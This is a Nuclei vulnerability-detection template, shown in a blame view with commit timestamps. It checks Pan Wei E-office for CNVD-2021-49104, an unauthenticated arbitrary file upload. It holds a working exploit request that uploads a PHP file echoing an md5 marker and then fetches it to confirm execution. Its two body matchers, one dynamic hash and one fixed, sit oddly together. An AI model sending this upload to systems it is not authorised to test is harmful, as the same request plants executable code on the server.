nuclei-templates/http/cnvd/2021/CNVD-2021-49104.yaml

55 lines
1.6 KiB
YAML
Raw Normal View History

2022-01-03 09:59:58 +00:00
id: CNVD-2021-49104
info:
2022-01-03 10:15:26 +00:00
name: Pan Micro E-office File Uploads
2022-01-03 09:59:58 +00:00
author: pikpikcu
severity: critical
description: The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker.
2023-10-14 11:27:55 +00:00
remediation: Pan Wei has released an update to resolve this vulnerability.
reference:
- https://chowdera.com/2021/12/202112200602130067.html
- http://v10.e-office.cn
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
cvss-score: 9.9
cwe-id: CWE-434
metadata:
max-request: 2
2024-01-14 09:21:50 +00:00
tags: cnvd2021,cnvd,pan,micro,fileupload,intrusive
2022-01-03 09:59:58 +00:00
2024-04-15 11:26:37 +00:00
variables:
string: "{{randstr}}"
http:
2022-01-03 09:59:58 +00:00
- raw:
- |
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
2022-01-06 10:16:11 +00:00
Host: {{Hostname}}
2022-01-03 09:59:58 +00:00
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
2022-01-03 10:15:26 +00:00
Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.php"
2022-01-03 09:59:58 +00:00
Content-Type: image/jpeg
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2022-01-03 09:59:58 +00:00
--e64bdf16c554bbc109cecef6451c26a4--
- |
GET /images/logo/logo-eoffice.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
2024-04-15 11:26:37 +00:00
- type: word
part: body
words:
- '{{md5(string)}}'
2022-01-03 09:59:58 +00:00
- type: word
part: body
2022-01-03 09:59:58 +00:00
words:
- "94d01a2324ce38a2e29a629c54190f67"
2022-01-03 09:59:58 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100ae8da93813d42871f37d15afe305c240d7e574d4520a88dbc81b60541e38cb8002207b63daa711b765d9dcaeb71a375769d5f8c09198c379cd6822c5e80f10646597:922c64590222798bb761d5b6d8e72950